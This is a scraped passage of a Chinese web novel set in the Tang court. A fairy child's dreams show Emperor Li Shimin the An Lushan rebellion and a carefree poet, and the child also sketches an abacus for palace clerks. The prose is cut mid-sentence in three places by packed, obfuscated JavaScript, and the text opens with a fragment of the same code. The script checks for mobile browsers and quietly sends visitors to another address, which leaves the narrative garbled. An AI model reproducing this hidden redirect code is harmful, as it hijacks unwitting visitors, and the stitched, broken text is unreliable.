l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114017|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不打?那个大胡子力气大,肯定能赢!” 李承乾赶紧把他拉回来:“景颐,莫要围观,危险。” 就在这时,楼下那胡商似乎气急了,操起一个酒壶就要砸过去。对方也不甘示弱,拎起长凳。场面一触即发! 电光石火间,谁也没注意到,景颐那双因为兴奋而忘了收敛的褐色眼眸深处,极快地掠过一丝金芒。 他并非想插手,纯粹是觉得这样打没意思,潜意识里一丝极其微弱、连他自己都未察觉的希望场面更有趣的念头,混杂着他无意识逸散的一丁点时间灵力,悄然溢出。 楼下,那高举酒壶的胡商突然脚下一滑,像是踩到了不知何时滚到脚下的一个李子核,整个人“哎呦”一声,以一个滑稽的姿势向后仰倒,酒壶脱手,酒液泼了自己一身。 而对面举起长凳的商人,也被同伴突然从后面碰了一下,胳膊一歪,长凳“哐当”砸在旁边空桌上,汤汁四溅。 这突如其来的变故让双方都愣住了,怒气也被这狼狈打断。赶到的侍卫和楼中护卫趁机上前,将两边隔开劝解。 楼上雅间,景颐看着下面突然从武斗变成滑稽剧的场面,哈哈笑了起来:“真好玩!自己摔倒了!” 李承乾却若有所思地看了一眼景颐。刚才……是巧合吗?他怎么觉得,景颐弟弟说完“怎么光吵不打”之后,楼下就…… 他摇摇头,甩开这个荒谬的念头,定是巧合。 风波平息,菜肴也陆续上桌。孩子们很快被精美新奇的菜肴吸引了全部注意力,尤其是那道浑羊殁忽,切开后香气四溢,让连常吃御膳的几位小贵客也赞不绝口。 景颐更是吃得毫无形象,嘴角沾满油光,还试图用手去抓烤得金黄的羊腿,被李承乾用筷子轻轻敲了下手背,才改用餐具,但依旧吃得欢快无比。 这顿饭吃得心满意足。结账时,景颐又掏出他的灵光贝币,这次连见多识广的掌柜都愣了一下,仔细辨认后,才犹豫着按极品通宝的价值收了,还找补了不少铜钱,暗自嘀咕这是哪家豪奢小郎君,用这般稀罕物当饭钱。 吃饱喝足,又在景颐的带领和侍卫的暗中引导下,看了会儿杂耍,买了些小泥人、竹哨等玩意儿,日头已开始西斜。 回宫的马车上,孩子们都带着疲惫但兴奋的笑容,怀里抱着各自的战利品。 李泰还在回味那个能喷火的胡人戏法,丽质小心地捧着一个新买的、绘着仕女的团扇。 李承乾则看着靠在自己肩上已经有些打瞌睡的景颐,小家伙手里还紧紧攥着那个没吃完的、已经有些融化变形的老虎面人。 “景颐弟弟今日玩得可开心?” 李承乾轻声问。 景颐迷迷糊糊地“嗯”了一声,嘟囔道:“开心……下次……还和高明大兄、青雀二兄、丽质阿姊出来……吃那个……会冒火的肉……” 声音渐低,竟是睡着了。 李承乾替他拢了拢蹭歪的衣襟,看着那张毫无防备的睡颜,想起今日市井中的种种,尤其是食楼里那蹊跷的化干戈为滑稽一幕,心中那份模糊的疑惑再次泛起。 这位景颐弟弟,怕是真如父皇母后暗示的那样,身上藏着不少秘密。 不过,那又如何呢?他今日带着弟妹,见识了从未见过的鲜活世界,品尝了民间美味,更重要的是,大家都很开心,平安无恙。这便足够了。 马车缓缓驶入皇城,将市井的喧嚣远远抛在身后。 8. 第 8 章 几日后,李世民处理完繁杂政务,心中那份自夏苗以来便挥之不去的隐忧,以及近日观察景颐与孩子们相处、听高明提及西市之行种种后愈发强烈的探究欲,让他决定再次前往凝云轩。 与长琴的谈话往往在深夜进行。今夜亦是如此。 烛火在精致的铜灯中摇曳,映照着长琴清雅的侧脸和李世民凝重专注的神情。他们谈论的已不止于景颐的溯梦与《鸣岐谱》的缥缈线索,更涉及到一些关乎王朝治理、人性、历史循环的深层思索。 长琴虽言语简洁,每每点出关键,视角超然,却往往能给李世民带来豁然开朗或更深沉的思虑。 不知不觉,宫漏已报子时。窗外夜色浓稠如墨,万籁俱寂。 李世民揉了揉发胀的额角,正欲告辞,长琴却淡淡开口:“更深露重,陛下若不嫌弃此处简陋,可于西厢暂歇一宿。” 他并非客套,而是看出李世民精神虽亢奋,身体却已露疲态,且眼中血丝隐现,怕是回甘露殿也难安眠。 李世民略一迟疑,便点头应允。他确实感到身心俱疲,且在这凝云轩中,远离前朝纷扰,面对着这位非人的仙长,反而有种奇异的放松感。 西厢房布置得极为简单,一榻、一几、一屏风而已,但洁净非常,空气中飘散着淡淡的、宁神的檀香与竹叶清气。 景颐今晚恰好也睡在这里。 这小家伙下午玩疯了,赖在师父这里不肯回自己屋子,早早便抱着小枕头睡着了,此刻正蜷在榻里侧,呼吸均匀,小脸在睡梦中显得格外安宁。 长琴并未多言,只示意李世民自便,便转身回了主室,门扉轻掩。 李世民褪下外袍,看着榻上那一小团。孩童纯净的睡颜仿佛有种魔力,能涤荡人心头的焦躁。 他轻轻在榻外侧躺下,尽量不惊动景颐。被褥柔软,带着阳光和草木的气息。连日来的疲惫如潮水般涌上,他很快便沉入了睡乡。 然而,梦境并不安宁。 起初是混沌的。渐渐地,熟悉的、令人心悸的灼热感与喧嚣声由远及近。这一次,不再是玄武门前夜的惊鸿一瞥,也不再是林中破碎的片段。 是,全部。 他仿佛一个被迫悬于高空的幽灵,眼睁睁地、无比清晰地看着那场浩劫如何一步步发生、蔓延、直至摧毁一切。 他看到开元盛世极致的繁华下,潜滋暗长的骄奢与隐忧;看到那个名叫安禄山的胡将如何以谄媚与战功攫取权柄,看到朝堂的麻痹与边镇的失衡;看到渔阳鼙鼓动地而来时,承平日久的州县是如何的惊慌失措、一触即溃; 他看到潼关失守,哥舒翰被俘,消息传到长安时,龙椅上的李隆基那难以置信的惊怒;看到仓皇辞庙、夜半出逃的狼狈与凄凉;看到马嵬坡前六军不发的逼迫,看到白绫悬树的惨烈; 他看到叛军铁蹄踏入长安,烧杀抢掠,宫阙蒙尘,百姓如羔羊;看到太子在灵武匆匆即位,艰难支撑;看到郭子仪、李光弼等将领在血火中苦苦搏杀,收复两京的惨烈与反复; 他看到战争如何持续八年,山河破碎,人口锐减,民生凋敝,盛世的锦绣被撕扯得千疮百孔;看到藩镇割据的隐患由此深深埋下,朝廷权威一去不返;看到杜甫笔下“国破山河在,城春草木深”的悲怆,看到颜真卿祭侄文稿中那力透纸背的悲愤与绝望…… 这不再是之前的匆匆一瞥,而是沉浸的、充满细节与情感的体验。 他能感受到逃难路上的饥渴恐惧,听到乱兵刀下的惨叫哀求,闻到战后废墟的焦臭与血腥。 那种无力回天、眼睁睁看着自己辛苦建立的基业崩塌、万民涂炭的剧痛与窒息感,几乎将梦中的他撕裂。 “不……不是这样……不能这样……” 他在梦魇中挣扎,冷汗浸透了中衣。 就在这时,睡在他身旁的景颐似乎被这剧烈波动的情绪和庞大的梦境信息所影响,不安地动了动,发出一声含糊的嘤咛,小手无意识地挥动了一下,碰到了李世民汗湿的手臂。 仿佛是某种开关被触发,又或者是两个不同性质的气运与灵力在深度睡眠中产生了更强烈的共鸣。 梦境画面骤然变得更加清晰、更加具有冲击力,甚至开始夹杂一些零碎的、仿佛来自不同时空视角的评论或碎片: 某个后世文人摇头叹息的侧影,某句刻在石碑上的哀悼诗文,甚至是一缕来自更遥远未来、对这段历史定性的尘埃落定般的苍凉感…… “呃——!” 李世民猛地从榻上坐起,大口喘着粗气,胸口剧烈起伏,眼神涣散,仿佛还未从炼狱般的景象中挣脱。 冷汗顺着他的额角、鬓边涔涔而下,里衣已然湿透,紧贴在皮肤上,带来一片冰凉的黏腻。 他的动静惊醒了景颐。小家伙揉着惺忪的睡眼坐起来,迷迷糊糊地看着身边剧烈喘息、面色惨白如纸的李叔叔。 景颐自己似乎也做了些混乱的梦,小眉头皱着,带着哭腔嘟囔:“好多火……好多人哭……吵……” 几乎是李世民惊醒的同时,外间的长琴已然察觉不对,身影一闪便出现在厢房门口。 他指尖一点,桌上的油灯无声亮起,柔和的光线驱散了部分黑暗,也照亮了李世民惊魂未定的脸和景颐懵懂困惑的表情。 长琴的目光先落在景颐身上,迅速感知了一下,确认他只是被波及,有些惊悸,并无大碍。随即,他看向李世民,琉璃色的眼眸在灯光下显得格外深邃。 他的声音平稳,却带着一种安定人心的力量:“又看到了?” 李世民用力闭了闭眼,试图驱散脑海中那些鲜活如刚刚发生过的惨烈画面,喉咙干涩得发不出完整的声音,只能沉重地点了点头。 这一次的目睹,比以往任何一次都要清晰、完整、深刻。那不再是一个模糊的警示,而是一幅血淋淋的、几乎可以触摸到细节的亡国图景。 长琴走到榻边,将因不安而靠过来的景颐揽入怀中,轻轻拍抚他的后背,一股宁静的灵力缓缓渡入,安抚着小家伙残余的惊悸。 景颐很快在师父令人安心的气息中重新放松下来,眼皮又开始打架。 “这一次,” 长琴的目光重新落回李世民脸上,语气平静却带着洞悉一切的了然,“是全部?” 李世民深吸一口气,终于找回了自己的声音,嘶哑而沉重:“……是。从头至尾,历历在目……恍如亲历。” 他抬起头,眼中布满了血丝,那里面不再是单纯的恐惧,而是一种混合了巨大悲痛、沉重责任以及,被逼到绝境后反而生出的、孤注一掷的决绝, “仙长……那景象……那些因果……我,大致看清了。” 长琴静静地看着他,没有立刻说话。深夜的凝云轩,只有景颐逐渐平稳的呼吸声,和李世民依旧有些不稳的气息。 良久,长琴才缓缓道:“看清了,然后呢?” 李世民赤脚下榻,站在冰凉的地板上,身姿却挺得笔直。窗外透入的微光勾勒出他坚毅的轮廓。他望向窗外无边的夜色,仿佛要看穿时空,望向那潜藏在未来阴影中的危机。 “然后,” 他的声音低沉,却字字清晰,仿佛誓言,凿入这寂静的深夜里,“便是想办法,让它永不发生。” 景颐在师父怀里蹭了蹭,完全不知道,自己无意识中泄露的梦,已经彻底改变了身边这位人间帝王的内心轨迹,并将深远地影响这个王朝的未来。 他只是觉得,今晚的梦,好像特别长,也特别累人。 —— 一连几日的雷雨,今日天气终于放晴。 景颐在凝云轩闷了两天早已按捺不住,趁着师父午后入定,便一溜烟跑出来,熟门熟路地摸到了丽质和李治常玩耍的御花园东侧小广场。 丽质正带着李治玩黄鹞吃鸡的游戏。 丽质当“母鸡”,身后跟着一串小宫女装扮的“小鸡”,而李治摇摇晃晃地努力扮演那只最凶猛、也最容易被绊倒的“小黄鹞”。 景颐一看就乐了,立刻加入战局,自告奋勇要当最厉害的“大公鸡”,负责保护“小鸡”和对抗“黄鹞”。 游戏立刻升级,变得更加混乱。景颐仗着身手灵活,左冲右突,咯咯笑着躲避李治笨拙的扑击,又不时故意放慢速度逗他,引得李治和一群小宫女笑闹不断,叫声震天。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114018|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 正玩得兴起,“大公鸡”景颐为了躲避“小黄鹞”李治的一次突袭,猛地一个“鹞子翻身”(自创的),朝着旁边一条通往两仪殿的甬道方向跑去,边跑还边回头做鬼脸:“抓不到抓不到!” 谁知,就在他回头嘚瑟的刹那,结结实实撞在了一堵“软墙”上。 确切说,是撞在了一个人的腿上。 “哎哟!” 景颐撞得一屁股坐在地上,手里用作“公鸡冠”的彩色羽毛都掉了。他捂着撞疼的额头,泪花在眼眶里打转,抬头望去。 只见面前站着几位身着紫袍、头戴进贤冠的大臣,显然是要去两仪殿议事。 被撞的那位,是个身材微胖、面容和善、蓄着漂亮长须的中年人,正是当朝司空、梁国公房玄龄。 房玄龄也被这突如其来的“袭击”弄得一愣,低头看见坐在地上、穿着锦缎胡服、眼睛湿漉漉望着自己的小男孩,不由失笑,弯腰想将他扶起来:“这是谁家的小郎君?跑得这般急,可有摔疼?” 他身后的高士廉、长孙无忌等人也停下脚步,饶有兴致地看着这意外插曲。他们都认得几位皇子公主,却从未见过这个眼生的孩子。 景颐自己爬起来,拍拍屁股上的灰,也没哭,注意力立刻被房玄龄那梳理得一丝不苟、油光水滑的长须吸引了。 他好奇地凑近了些,仰着小脸,眨巴着那双灵动无比的眼睛,盯着那胡子看,甚至下意识地伸出手指,似乎想揪一根。 “咦?你的胡子好长好亮啊!” 景颐脱口而出,语气充满惊奇,仿佛看到了什么稀罕物。 “像……像流云境仙鹤尾巴上的羽毛!” 他努力在贫乏的人间见识里寻找比喻。 房玄龄:“……” 他捋须的手僵在半空,一时不知该如何接这话。鹤尾羽毛?这比喻…… 后面几位大臣已经有人忍不住以袖掩口,肩膀微抖。 丽质和李治这时也跑了过来。丽质看到几位重臣,连忙拉着弟弟规规矩矩地行礼:“丽质见过房公、舅舅、舅公。” 李治也奶声奶气地跟着学舌。 房玄龄等人连忙还礼:“公主殿下,九殿下。” 景颐这才注意到其他人,他的目光扫过后面几位老伯伯,最后又回到面前这个长胡子的老伯伯脸上,完全没被大人们的官威影响,反而歪着头,认真地问:“你们是谁呀?我怎么没见过你们?你们也是来找李叔叔……呃,陛下的吗?” 这话问得天真直率,却让几位大臣又是一愣。这孩子不仅直呼“李叔叔”,还一副这宫里人我都该见过的口吻。 长孙无忌微微蹙眉,看向丽质:“公主,这位是……” 丽质忙道:“舅舅,这是景颐弟弟,是、是暂居宫中的客人。” 她谨记父母和仙长叮嘱,没有多说。 景颐却自来熟地自顾自的说着,指着房玄龄的胡子:“大胡子伯伯,你天天在宫里吗?我怎么没看见过你?你胡子这么长,吃饭会不会掉进去?” “噗——” 高士廉这次没忍住,轻笑出声。 房玄龄也是哭笑不得,他一生辅佐君王,经纶满腹,被无数人敬重、请教,还是第一次被一个稚童如此研究胡子,并担心他吃饭问题。 他好脾气地蹲下身,与景颐平视,温和笑道:“老夫房玄龄,并非日日都在宫中。至于这胡子嘛……吃饭时小心些便是了。” “房、玄、龄?” 景颐一字一顿地重复,努力记住这个名字,然后点点头,煞有介事地说,“哦!我记住了!大胡子房伯伯!你下次来,找我玩啊!我知道御膳房新做了什么好吃的点心!” 说完,他也不等房玄龄回答,注意力又转移到跑过来的丽质和雉奴,拉着他们转头跑回去又投入了新一轮的黄鹞吃鸡大战,留下几位当朝重臣在原地面面相觑,摇头失笑。 长孙无忌看着景颐跑远的背影,眼中若有所思。 高士廉捻须笑道:“不知谁家儿郎,倒是有趣得紧,一派赤子天真。” 房玄龄则笑着摇头:“童言无忌,童言无忌啊。” 只是心中也难免对这突兀出现、又能与皇子公主如此亲密玩耍的景颐多了几分留意。 9. 第 9 章 或许是下午点心吃多了些(他偷偷多拿了两块),这天夜里,景颐睡得不太踏实。 他做了个混乱的梦,梦里师父在弹一首很急很重的曲子,弹得流云境的竹子都在颤抖。然后他就醒了。 夜深人静,月光如水。他躺在凝云轩的小床上,睁着眼睛看着帐顶绣的云纹。就在他准备再次入睡时,那双天生灵敏的麒麟耳朵,捕捉到了极其细微的动静。 不是虫鸣,不是风声。 是一种嗡嗡的、低沉的、很多很多字句挤在一起,像很多蜜蜂在很远的地方开会,但又有一点点熟悉的气息透过墙壁和地面,隐隐约约钻进他的耳朵里。 他揉了揉眼睛,屋子里黑乎乎的,师父好像不在? 窗外月光很亮,在地上铺了一层银霜。 那些嗡嗡声断断续续,听不清楚,但莫名让人觉得严肃,还有点……紧张? 像祝融爷爷来到流云境后,所有鸟儿都不叫了的那种安静中的紧张。 景颐睡不着了。他竖起耳朵,光着脚丫,悄无声息地溜下床,贴着冰凉的地板,慢慢爬到靠近外面回廊的那扇窗下。 声音好像就是从那边传过来的,凝云轩主室的方向,但门关着,还有师父不知道什么时候布下的、防止声音和某些东西乱跑的薄薄光膜。 不过,景颐的耳朵好像能穿过一点点? 他把耳朵紧紧贴在墙壁上,屏住呼吸。 声音变得稍微清楚一点了,但还是像隔着一层厚厚的被褥。 他听到李叔叔的声音,比平时低沉,像是压着一块很重很重的石头: “……非是杞人忧天。史鉴在前,周……秦汉……兴衰循环,其理或有相通。朕所虑者,非一时一地之得失,乃国本之固,百年之计。” 然后是大胡子房伯伯的声音,慢悠悠的,但每个字都像秤砣一样稳: “陛下深谋远虑。强干弱枝,乃长治久安之基。然矫枉过正,亦生肘腋之患。节度之制,初衷本善……” “善?” 另一个有点冷、有点硬的声音插进来,像冰碴子,“权柄过重,财赋自专,假以时日,尾大不掉,必成痈疽!当早为之计,徐徐图之,不可纵容。” 景颐听得迷迷糊糊。强干弱枝?是说要让树干变粗,树枝变细吗?树不是都那样吗?节度是什么?新的游戏规则?痈疽……听起来像是生病了,很痛的样子。 李叔叔又说话了,这次带着一种斩钉截铁的意味: “不错。中枢之威,不可坠。驭将之道,恩威并施,更需制衡。兵制、财赋、监察……均需未雨绸缪。玄龄,你所提轮流更戍、文臣参赞之议,深合朕意。另,科举之门,当再拓宽,寒门才俊,乃朝廷新鲜血脉,不可使世家独美。” “陛下圣明。” 这是另一个老伯伯的声音,听起来很赞同,“取士之途广,则天下英雄入彀中,人心自安。然推行之道,宜缓不宜急,需潜移默化,方不至于激起波澜。” 接着,他们又说起了一些景颐完全听不懂的词:府兵制、均田、漕运……好多好多,像天书一样。 但景颐能感觉到,李叔叔说话时,那种沉重的、像背着大山一样的感觉,好像少了一点点? 他还听到李叔叔压低声音,用更轻的语气说:“……此事关乎国运,非同小可。诸卿乃朕之股肱,今日所言,出得我口,入得尔耳,暂不可为第六人知。徐徐布局,以待天时。” “臣等谨记。” 几个声音一起低声回应。 然后,谈话的声音就更低了,渐渐听不清了。只剩下夜风吹过竹叶的沙沙声,还有远处宫灯在石板上拖出的、微微晃动的光影。 景颐蹲在墙根下,抱着膝盖,打了个小小的哈欠。他好像听懂了一点点,又好像什么都没懂。只记得皇帝伯伯他们好像很担心大树生病,在商量怎么给它治病,不让它长歪,还要找很多很多厉害的人来帮忙。 “唔……听起来好麻烦啊。” 景颐小声嘀咕,“比跟青雀二兄打双陆还麻烦。” 他挠挠头,觉得大人们的世界真是复杂。还是玩游戏简单,跑累了就能吃点心。 他又听了一会儿,确认再没有有趣的话了,便蹑手蹑脚地爬回床上,钻进还带着余温的被窝。 闭上眼睛前,他模糊地想:李叔叔好像没那么难过了?希望他们商量的办法有用吧。不然,李叔叔不高兴,丽质阿姊和雉奴弟弟也会不高兴的…… 带着这点懵懂的担忧和困意,景颐很快又重新沉入了梦乡,完全不知道自己无意中偷听到的是什么东西。 —— 景颐再次醒来,已是天光大亮,他早已忘记了半夜偷听到的东西,撒着脚丫就往主室跑,喊着:“师父!师父!” 跑到主室却发现师父根本不在,景颐噘着嘴,师父上哪儿去了啊,昨天晚上就不在。 这时,李嬷嬷走了进来,她看见景颐连鞋都没穿,连忙上前:“哎呦!小郎君!怎么不穿鞋啊!” 她把景颐抱到榻上,转身回厢房拿景颐的鞋子。 等到嬷嬷回来,景颐好奇地问她:“嬷嬷,你知道我师父去哪儿了吗?” “天刚亮,仙长就走了,走之前嘱咐我们,说小郎君别乱跑,好好在宫里待着。” 景颐闻言撅了噘嘴,小声地“哼”了一声。穿好鞋子,景颐马不停蹄就往外面跑。 “哎!小郎君!仙长说了不能出宫!” “哼!我不出宫!”景颐转身跺了跺脚,“我去找丽质阿姊和雉奴玩!” 说完,转身就像炮弹一样冲了出去。 “哎!” 李嬷嬷连忙招呼上另一个嬷嬷,追了上去。 景颐熟门熟路地朝着丽质和雉奴常待的凉亭方向跑。 两个嬷嬷气喘吁吁的在后面追,又不敢大声呼喊惊扰宫闱,只得尽力让景颐的影子不在视线范围内消失。 景颐跑到半路,经过一处偏殿的回廊,景颐猛地刹住脚。 他看见廊下阴凉处,两个穿绿袍的内府局书吏正蹲在地上,面前摆着一大堆长短不一的算筹,正满头大汗地核对着一卷厚厚的账册。 他们一边摆着算筹,一边低声念着数字,时不时还要停下来重新摆放,眉头紧锁,显然进行得很不顺利。 “咦?”景颐的好奇心瞬间被吸引。他见过算筹,但没见过这么一大堆,也没见过人这么愁眉苦脸地摆弄。 他忘了去找丽质和雉奴,凑到他们身边,看得津津有味。 只见一个书吏不小心碰乱了刚摆好的一片算筹,哀嚎一声:“又乱了!这太慢了,得算到什么时候!” 另一个也叹气:“可不是,要是能像传说中的神算子,心念一转就知道结果就好了。” 景颐看着那些滚来滚去的小木棍,脑子里不知怎的,忽然闪过一些极其模糊的碎片。 好像是很久很久以后,有人在一些固定的杆子上拨弄圆溜溜的珠子,噼里啪啦,又快又响,数字就出来了。 那画面一闪而过,快得抓不住,但珠子、杆子、快这几个印象留了下来。 他觉得地上那些算筹又笨又麻烦。“要是用珠子串在杆子上,不就滚不乱了?一排一排的,看着也清楚。” 两人被突然其来的声音吓了一跳,这才发现旁边不知什么时候站了个小贵人。 两人连忙起身行礼:“小贵人,不知有何贵干? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114019|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 景颐没说话,他正从模糊的记忆里找出那个珠子杆子的画面。 不多时,他猛地一拍脑袋:“我想起来啦!”随即,不等他们反应,拿起其中一个书吏的笔,在地上画了起来。 只见他画了一个歪歪的长方框,里面加了几笔站不直地竖线,又在线上点了好多个他认为是珠子的小黑点。 两个书吏面面相觑,满脸疑惑,不知道这个贵人要干什么。 景颐画完形状,拍拍手:“大功告成!” 他把笔还给那个书吏,指着地上的画,得意道:“这个东西可以帮你们算得更快哦!” 见书吏一脸痴呆,景颐蹦跶了几下,解释道:“就是把珠子穿在杆子上!我之前看到有人用这个算,算得可快了!” 他学着梦里见到的打算盘的人,手快速地在空中拨弄,还“吧嗒吧嗒”地配音。 看着两个书吏还是不明所以,景颐“哼”了一声,“听不懂算了!” 他转身又想跑,一回头缺差点撞到不知何时悄声无息走到他身后的长孙皇后。 长孙皇后带着两名宫女,显然是路过时,被这景颐凑到书吏旁边作画的一幕吸引了。 “景颐?”长孙皇后温和地唤他,伸手扶住快要摔倒的小家伙,“怎么在此处?” “大姐姐!”景颐抬起头,眼睛一亮,随即指着后面的书吏,“他们在算数,算得好慢,还老是弄乱!我教他们新的方法,他们还听不懂!真是孺子不可教也!” 他气呼呼的,好像是真的尽全力教了他们。 长孙皇后顺着他指的方向看过去,后面的书吏早就跪在那里行礼。 她牵着景颐走过去,抬手示意他们起身,目光落在地上那堆繁杂的算筹和景颐画的歪歪扭扭的图画。 景颐适时地叽叽喳喳说着他学来的方法,小脸上满是笃定。 长孙皇后心思何等缜密,这孩童口中的方法,乍听是稚子妄言,但细想之下,却似乎,真的比目前的算筹方式要快的多。 联想到陛下曾暗示的此子非常,联想到他那些出人意料的话语和举止…… 长孙皇后心中微动,面上却不显,只是微笑着摸了摸景颐的头:“景颐的想法很有趣。不过,这个方法似乎还需要多些时间学习,让他们先把手中的事干好,再去学习这个新方法,可好?” 她使了个眼色给身边一位年纪稍长、眼神灵动的宫女。那宫女会意,微微颔首。 长孙皇后又对景颐柔声道:“丽质和雉奴在御花园喂鱼呢,景颐去找他们玩吧?” “好!” 景颐的注意力立刻被转移,欢快地应了一声,又像来时一样,风风火火地跑走了。 他想着,喂鱼也好玩!还可以跟阿姊和雉奴炫耀自己刚刚的绝妙想法! 两位嬷嬷连忙向皇后行礼,又急急追去。 待景颐跑远,长孙皇后对着眼前二人吩咐:“刚才景颐所言虽幼,其意或可参详,不妨依此意,粗略构一形制,若有所成,来报于我。” 两人连忙恭敬领命,压下心中疑惑,开始琢磨着这东西该怎么做出来。 长孙皇后望着景颐消失的方向,眼神深邃。 这孩子,究竟是不经意间道破了某种未来的天机,还是仅仅是一次惊人的巧合? 无论如何,这份近乎本能的、直指问题关键的奇思,再次印证了他的不同寻常。 她缓步离开回廊,心中已决定,要将今日这小小插曲,告知陛下。 无论这算珠之想能否成真,景颐这孩子身上奇异的特质,都值得更细致的观察与呵护。 而这,或许也是陛下将他接入宫中的深意之一。 10. 第 10 章 距离上次全程目睹安史之乱的沉重梦境已过去月余。 李世民身心俱疲,改革事务千头万绪,压力巨大。 这段时间为了缓解压力,他总是会处理完奏折后来凝云轩,听着长琴给景颐弹的安流章。 琴声悠扬,让李世民不知不觉在凝云轩的客榻上沉沉睡去。景颐则因为白天到处疯玩,早已在旁边睡得四仰八叉。 起初依旧是混沌。 但预想中的烽火与悲鸣并未出现。取而代之的,是一种温暖、明亮、带着酒香与诗意的喧嚣。 李世民发现自己站在一条繁华的街道上,阳光明媚,行人如织,衣着鲜亮,脸上大多带着富足的笑容。 街道宽阔,店铺林立,旗帜招展,胡商、士子、百姓摩肩接踵,空气中飘荡着香料、美食、酒浆的气味和隐约的丝竹之声。 “李叔叔!” 景颐的声音在身边响起,带着梦特有的清脆回音。 小家伙也在梦里,正睁大眼睛,好奇地东张西望,“这里……好亮!好吵!比我们上次去的地方还热闹!” 李世民下意识地将他拉近些,心中惊疑不定。这梦境与之前截然不同,不见刀兵,唯有升平。是那孩子能力不稳的随机显现,还是……盛世本应有的模样? 他们如两道透明的影子,飘过卖弄幻术的胡人摊前,掠过争论诗文的士子身边,无人察觉。直到一阵尤其嘹亮狂放的笑声,将他们的视线吸引向一座临水酒楼。 二楼轩窗敞开,一群文士正酣饮。居中一人,白衣不羁,头发凌乱,正举杯痛饮,随即掷杯于案,拍掌高歌。 其声清越,穿透市井嘈杂,虽听不清词句,但那睥睨自若、挥洒如虹的气概,瞬间攫住了李世民的目光。 此人……李世民微微眯起眼。 不是朝堂上见过的任何一位重臣,亦非军中悍将。那是一种全然不同的气质,如出鞘之剑,光华夺目,却又带着醉卧云端的疏狂。他仿佛将整条街的繁华与阳光都吸纳于胸,再恣意泼洒出来。 旁边一位年长清癯的长者,非但不以为忤,反而抚掌大笑,眼中尽是激赏。他解下腰间一枚金光灿灿的龟形佩饰,毫不犹豫地推向酒保,朗声道:“酒来!今日当为吾友尽兴!” 金龟映着阳光,刺目耀眼。景颐“呀”了一声,指着那金龟:“亮!乌龟!” 他对值钱与否毫无概念,只是被那金光吸引。 李世民的目光却久久停留在那白衣人身上。虽不识其面,不知其名,但那份才华横溢、傲岸不驯的生命力,那份仿佛能将万物都点燃的澎湃激情,让他心中震动。 这是只有在极度自信、文化极度繁荣的时代土壤里,才可能孕育出的奇葩。 他见过太多人,谨慎的房玄龄,刚直的魏玄成,骁勇的李药师……却从未见过这般人物。 此人若在朝堂,或许是不合规矩的异数;但在此刻这盛世幻影中,他仿佛就是这时代精神最耀眼的注脚。 自由,奔放,才华可以如此毫无顾忌地挥霍与闪耀。 酒楼内的欢宴达到高潮,白衣人似乎又得佳句,仰天大笑,声震屋瓦。那笑声里没有阴谋算计,没有忧国忧民,只有纯粹的、抵达极致的畅快与飞扬。 李世民静静地看着,心中波澜起伏。他治下的贞观,严谨、务实、充满向上的力量,但似乎缺少了一点这样近乎奢侈的、潇洒的、狂放的文化张力。 这是不同时期的特质,还是,未来某个时刻,当国家富足到一定程度,便自然会产生这样的气象?若真有那时,是福是祸? 他无从判断,只是本能地被这人的风采所吸引,如同将军见到绝世利刃,匠人见到稀世宝玉。无关身份,纯粹是对一种极致光芒的欣赏与赞叹。 “李叔叔,他笑得好大声。”景颐小声说,扯了扯李世民的袖子。 “嗯,”李世民低声应道,目光仍流连在那片光影交错的喧嚣中,“此人……非常人也。” 只可惜,惊鸿一瞥,终是幻影。梦境开始如水纹般波动,眼前的繁华盛景、白衣狂客、金龟、酒香,都如同阳光下的泡沫,渐渐模糊、淡去。 最后残留的,是那穿透梦境的笑声余韵,和一片温暖到令人心中发闷的明亮光晕。 醒来。 晨曦微露,凝云轩内一片宁静。李世民缓缓睁开眼,榻边,景颐还睡得小脸通红,偶尔咂咂嘴。 没有冷汗,没有心悸。只有胸腔里残留着一丝奇异的、暖洋洋的感触,和脑海中那个鲜明如烙的白衣身影。 他坐起身,看向窗外渐亮的天光。昨夜之梦,并非警示,却比警示更让他心潮难平。 他见到了一个可能存在的、文化鼎盛的未来剪影,也见到了那种环境下孕育出的、他从未想象过的狂客的模样。 那金龟换酒的豪迈,那纵情诗酒的洒脱…… 若大唐真能走到那一步,该是何等光景? “守护……”他喃喃自语,目光变得深邃而温柔。 要守护的,不仅是眼前的孩童,臣民,疆土,或许还有, 未来某日,可能在某座酒楼里,能够毫无后顾之忧地金龟换酒、挥洒才情的,那种自由与潇洒的可能性。 —— “……那人笑得好大声!颐儿的耳朵都要聋啦!”景颐兴致勃勃地跟师父分享昨夜梦到的景象。 “我还碰到李叔叔了,我们还是第一次在梦里见面呢!” 长琴正在调弦的手微微一顿,琉璃色的眼眸转向说得眉飞色舞的小徒弟。 “哦?在梦里见到了陛下?”他声音平静,却带着不易察觉的探究,“可还见到了别的?比如,周围是什么光景?” 景颐歪着头努力回想:“光景?嗯……很亮!很多人!大家都穿得很好看,在喝酒!李叔叔就站在那里看,我也在看!” 长琴心下微动,李世民能于景颐的溯梦中显形,甚至保持一定的自主意识观察,而非全然被梦境裹挟…… 他身上的人皇气运与心志之坚,看来仍在预估之上。 